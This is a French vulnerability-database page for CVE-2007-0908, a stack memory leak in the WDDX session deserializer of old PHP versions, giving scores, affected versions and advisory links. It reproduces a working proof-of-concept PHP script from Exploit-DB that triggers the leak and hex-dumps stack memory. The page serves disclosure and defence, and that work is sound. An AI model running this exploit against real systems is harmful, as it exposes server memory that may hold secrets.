CVE-2007-0908 : Détail

CVE-2007-0908

A03-Injection
2.44%V3
Network
2007-02-13
22h00 +00:00
2018-10-16
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The WDDX deserializer in the wddx extension in PHP 5 before 5.2.1 and PHP 4 before 4.4.5 does not properly initialize the key_length variable for a numerical key, which allows context-dependent attackers to read stack memory via a wddxPacket element that contains a variable with a string name before a numerical variable.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 3414

Date de publication : 2007-03-03 23h00 +00:00
Auteur : Stefan Esser
EDB Vérifié : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP WDDX Session Deserialization Stack Information Leak // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); if (!extension_loaded("wddx")) { die("wddx extension needed\n"); } ini_set("session.serialize_handler", "wddx"); session_start(); session_decode("<wddxPacket version='1.0'><header/><data><struct><var name='".str_repeat("A",8192)."'><string>A</string></var><var name='1'><string>1</string></var></struct></data></wddxPacket>"); $keys = array_keys($_SESSION); $stackdump = $keys[1]; echo "Stackdump\n---------\n\n"; for ($b=0; $b<strlen($stackdump); $b+=16) { printf("%08x: ", $b); for ($i=0; $i<16; $i++) { printf ("%02x ", ord($stackdump[$b+$i])); } for ($i=0; $i<16; $i++) { $c = ord($stackdump[$b+$i]); if ($c > 127 || $c < 32) { $c = ord("."); } printf ("%c", $c); } printf("\n"); } ?> # milw0rm.com [2007-03-04]

Products Mentioned

Configuraton 0

Php>>Php >> Version From (including) 4.0.0 To (excluding) 4.4.5

Php>>Php >> Version From (including) 5.0.0 To (excluding) 5.2.1

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 5.10

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 6.10

Références

http://www.us.debian.org/security/2007/dsa-1264
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/24295
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.trustix.org/errata/2007/0009/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://secunia.com/advisories/24195
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id?1017671
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/24606
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24642
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24217
Tags : third-party-advisory, x_refsource_SECUNIA
http://osvdb.org/32766
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/24248
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24514
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/22496
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/24284
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-424-2
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.php.net/releases/5_2_1.php
Tags : x_refsource_CONFIRM
http://security.gentoo.org/glsa/glsa-200703-21.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/24432
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24421
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24089
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/2321
Tags : third-party-advisory, x_refsource_SREASON
http://www.redhat.com/support/errata/RHSA-2007-0076.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/24419
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2007-0089.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2007-0088.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2007-0082.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/22806
Tags : vdb-entry, x_refsource_BID
http://www.mandriva.com/security/advisories?name=MDKSA-2007:048
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.ubuntu.com/usn/usn-424-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.redhat.com/support/errata/RHSA-2007-0081.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/24322
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24236
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/0546
Tags : vdb-entry, x_refsource_VUPEN